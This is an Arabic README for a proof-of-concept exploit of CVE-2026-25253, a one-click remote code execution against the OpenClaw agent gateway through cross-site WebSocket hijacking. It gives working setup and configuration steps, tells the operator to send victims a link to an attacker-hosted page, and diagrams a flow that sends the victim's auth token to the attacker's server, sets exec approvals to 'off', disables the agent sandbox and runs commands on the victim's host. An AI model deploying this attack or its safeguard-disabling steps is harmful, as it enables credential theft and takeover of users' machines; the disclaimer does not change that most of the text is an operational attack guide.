
إثبات مفهوم لاستغلال CVE-2026-25253، يوضح تنفيذ الأوامر عن بُعد (RCE) بنقرة واحدة على OpenClaw عبر اختطاف WebSocket عبر المواقع (Cross-Site WebSocket Hijacking). يتضمن خادم المهاجم وحمولة قائمة على المتصفح لسرقة الرموز وتنفيذ الأوامر.
استغلال تنفيذ أوامر عن بُعد بنقرة واحدة على OpenClaw عبر اختطاف WebSocket عبر المواقع.
إخلاء مسؤولية: يُقدَّم هذا الكود لأغراض البحث الأمني المصرح به والتعليم فقط. استخدام هذا الكود ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاقي. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
اقرأ التحليل التفصيلي للحصول على تفصيل على مستوى الكود المصدري لهذه الثغرة وكيفية بناء هذا الإثبات.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
قم بتنزيل المثبّت من https://nodejs.org/ واتبع التعليمات.
تحقق من التثبيت:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
يؤدي هذا إلى تثبيت الاعتماد الوحيد: ws (مكتبة WebSocket).
عدّل أعلى ملف exploit.html ليتوافق مع بيئتك:
const LOCAL_SCHEME = 'http'; // مخطط واجهة التحكم للضحية
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // البوابة المحلية للضحية
const ATTACKER_WS_PORT = 8080; // منفذ WebSocket للمهاجم (يجب أن يطابق attacker-server.js)
const ATTACKER_SCHEME = 'ws'; // استخدم 'wss' إذا كان خلف TLS
const COMMAND = 'touch /tmp/success'; // الأمر الذي سيُنفَّذ على جهاز الضحية
عدّل أعلى ملف attacker-server.js إذا كنت بحاجة إلى منافذ مختلفة:
const HTTP_PORT = 3000; // يقدّم exploit.html
const WS_PORT = 8080; // يلتقط الرموز المسروقة
node attacker-server.js
يجب أن ترى:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
أرسل للضحية الرابط التالي (استبدل <ATTACKER_IP> بعنوان IP الخاص بك):
http://<ATTACKER_IP>:3000/exploit.html
يجب على الضحية فتح هذا الرابط في متصفح استخدم فيه واجهة تحكم OpenClaw من قبل (بحيث يكون رمز المصادقة موجودًا في localStorage).
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
على جهاز الضحية، تحقق مما إذا كان الأمر قد نُفِّذ:
ls -la /tmp/success
| الملف | الوصف |
|---|---|
attacker-server.js | خادم HTTP (يقدّم صفحة الاستغلال) + خادم WebSocket (يلتقط الرموز المسروقة) |
exploit.html | حمولة الاستغلال المستندة إلى المتصفح التي تسرق الرموز، وتختطف WebSocket، وتعطّل الأمان، وتنفّذ الأوامر |
package.json |
تبعيات Node.js (ws) |